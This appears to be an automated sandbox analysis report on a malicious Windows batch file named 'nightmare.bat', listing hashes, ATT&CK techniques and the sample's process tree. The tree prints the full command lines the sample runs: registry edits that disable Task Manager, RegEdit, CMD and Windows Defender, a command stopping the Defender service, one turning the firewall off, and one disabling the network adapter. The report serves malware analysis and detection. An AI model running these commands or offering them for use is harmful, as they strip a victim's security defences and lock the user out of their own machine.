a00146d588339fd938875a869f334772be915c62c4b133a0049b63ff938c43a8

Analysis

user interaction
yes
max time kernel
6s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 09:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nightmare.bat
Size 7KB
Sample260724-leldwsbm8v
SHA256 a00146d588339fd938875a869f334772be915c62c4b133a0049b63ff938c43a8
MD5 3212876dcaa30b8c29da4c4c9015d302
SHA1 387b14ff8bce71b3aa7709539e0c9a2be347a69f
SHA512 e355393b6b1b1e536bb6a9fae12ebcbf1072599c878fc1e0fcd4e9340ffecd4cda9249d52d1757d9279d8224ac52a377a52f186dca50260342727e8ce14b7bb4
SSDEEP 192:u66lKx2BV+PeSJHpyHTDdBMxWwRVaAururxS0K0gUgKre9iFFFFFFFFFm8rtt5xB:u66lK4BV+G6JyHTDIVuKrxI8rtt5xugf
TLSH
T180F13E257C0619414B5698A08EFA6F60FA10B34BD8000ED5F98F7A786C5F7D7B2EC6D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4764	netsh.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3368	cmd.exe

Modifies registry key 1 TTPs 5 IoCs

Modify Registry

T1112

pid	Process
4644	reg.exe
4620	reg.exe
1548	reg.exe
4116	reg.exe
4692	reg.exe

Runs net.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 4644	3368	cmd.exe	90
PID 3368 wrote to memory of 4620	3368	cmd.exe	91
PID 3368 wrote to memory of 1548	3368	cmd.exe	92
PID 3368 wrote to memory of 4116	3368	cmd.exe	93
PID 3368 wrote to memory of 4692	3368	cmd.exe	94
PID 3368 wrote to memory of 4120	3368	cmd.exe	95
PID 4120 wrote to memory of 1568	4120	net.exe	96
PID 3368 wrote to memory of 4764	3368	cmd.exe	97
PID 3368 wrote to memory of 2900	3368	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nightmare.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4644
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  - Modifies registry key
  PID:4620
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Modifies registry key
  PID:1548
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4116
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4692
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:1568
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4764
- C:\Windows\system32\netsh.exe
  netsh interface set interface "Ethernet" disable
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2900